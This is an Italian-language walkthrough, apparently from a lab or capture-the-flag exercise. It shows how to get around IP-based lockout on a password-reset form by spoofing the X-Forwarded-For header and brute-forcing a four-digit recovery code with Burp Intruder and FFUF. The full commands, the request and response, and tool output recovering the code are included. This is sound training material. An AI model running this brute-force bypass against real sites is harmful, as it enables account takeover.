tags: Bypass_IP_based_login http_bruteforce Bypass_X-Forwarded-For FFUF_X-forwarded-For_Bypass
Quando il server ti blocca i tentativi di accesso dopo qualche prova e la protezione è basata sui tentativi fatti da un indirizzo IP si può facilmente bypassare aggiungendo alla richiesta che viene fatta questa query X-Forwarded-For: 123.123.123.123 e per ogni tentativo cambiare l’indirizzo IP, lo si può automatizzare attraverso BurpSuite o FFUF.
Burpsuite
Manda la richiesta all’Intruder, dall’Intruder aggiungi all’header della richiesta X-Forwarded-For: 123.123.123.123 sotto per esempio al Content Type. Ora seleziona sia la sezione dell’utente o della password e la sezione dove è presente l’indirizzo IP dell’ X-Forwarded, selezione l’attacco Pitch Fork e metti come liste la lista con username o password e la lista con gli indirizzi IP, lancia l’attacco e cerca differenze fra i risultati.

FFUF
Lo stesso lavoro lo puoi fare con strumenti come FFUF che non ha limiti di velocità contrariamente a Burp Suite Free Edition.
In questo esempio andremo a fare un bruteforce di un codice a 4 cifre che ha il blocco X-Forwarded. Per prima cosa ci creaiamo le due wordlists:
# 1. Genera i codici (0000-9999)
seq -w 0 9999 > codes.txt
# 2. Genera 10.000 IP casuali
for i in {1..10000}; do echo "$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))"; done > ips.txtOra che abbiamo le wordlist possiamo lanciare il seguente comando:
ffuf -u 'http://10.82.175.192:1337/reset_password.php' \
-X POST \
-H 'Cookie: PHPSESSID=TUO_COOKIE_AGGIORNATO' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'X-Forwarded-For: W2' \
-d 'recovery_code=W1&s=179' \
-w codes.txt:W1 \
-w ips.txt:W2 \
-mode pitchfork \
-fr "Invalid"Tieni conto che la richiesta di Burpsuite era la seguente:
POST /reset_password.php HTTP/1.1
Host: 10.82.151.10:1337
Content-Length: 24
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.82.151.10:1337
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.82.151.10:1337/reset_password.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=6va92q6kb5meo5j0m2ul0a903t
Connection: keep-alive
recovery_code=1234&s=177E la relativa risposta di errore la seguente:
HTTP/1.1 200 OK
Date: Wed, 03 Dec 2025 09:18:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Rate-Limit-Pending: 6
Vary: Accept-Encoding
Content-Length: 2202
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Reset Password</title>
<link href="/hmr_css/bootstrap.min.css" rel="stylesheet">
<script src="/hrm_js/jquery-3.6.0.min.js"></script>
<script>
let countdownv = 177;
function startCountdown() {
let timerElement = document.getElementById("countdown");
const hiddenField = document.getElementById("s");
let interval = setInterval(function() {
countdownv--;
hiddenField.value = countdownv;
if (countdownv <= 0) {
clearInterval(interval);
//alert("hello");
window.location.href = 'logout.php';
}
timerElement.textContent = "You have " + countdownv + " seconds to enter your code.";
}, 1000);
}
</script>
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-4">
<div class="alert alert-danger">Invalid or expired recovery code!</div>
<h3 class="text-center">Enter Recovery Code</h3>
<p id="countdown">You can enter your code in 177 seconds.</p>
<form method="POST" action="">
<div class="mb-3">
<label for="recovery_code" class="form-label">4-Digit Code</label>
<input type="text" class="form-control" id="recovery_code" name="recovery_code" required>
<input type="hidden" class="form-control" id="s" name="s" required>
</div>
<button type="submit" class="btn btn-primary w-100">Submit Code</button>
<p></p>
<button type="button" class="btn btn-primary w-100" style="background-color: red; border-color: red;" onclick="window.location.href='logout.php';">Cancel</button>
</form>
<script>startCountdown();</script>
</div>
</div>
</div>
</body>
</html>L’attacco effettivo risulta essere questo:
ffuf -u 'http://10.82.151.10:1337/reset_password.php' -X POST -H 'Cookie: PHPSESSID=6va92q6kb5meo5j0m2ul0a903t' -H 'Content-Type: application/x-www-form-urlencoded' -H 'X-Forwarded-For: W2' -d 'recovery_code=W1&s=179' -w codes.txt:W1 -w ips.txt:W2 -mode pitchfork -fr "Invalid"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.82.151.10:1337/reset_password.php
:: Wordlist : W1: /tmp/seq10000.txt
:: Wordlist : W2: /tmp/ips.txt
:: Header : Cookie: PHPSESSID=6va92q6kb5meo5j0m2ul0a903t
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : X-Forwarded-For: W2
:: Data : recovery_code=W1&s=179
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Invalid
________________________________________________
[Status: 200, Size: 2191, Words: 595, Lines: 53, Duration: 63ms]
* W1: 2750
* W2: 59.211.223.198
:: Progress: [8399/10000] :: Job [1/1] :: 192 req/sec :: Duration: [0:00:30] :: Errors: 0 :::: Progress: [8408/10000] :: Job [1/1] :: 243 req/sec :: Duration: [0:00:30] :: Errors: 40 :[WARN] Caught keyboard interrupt (Ctrl-C)Il codice è 2750.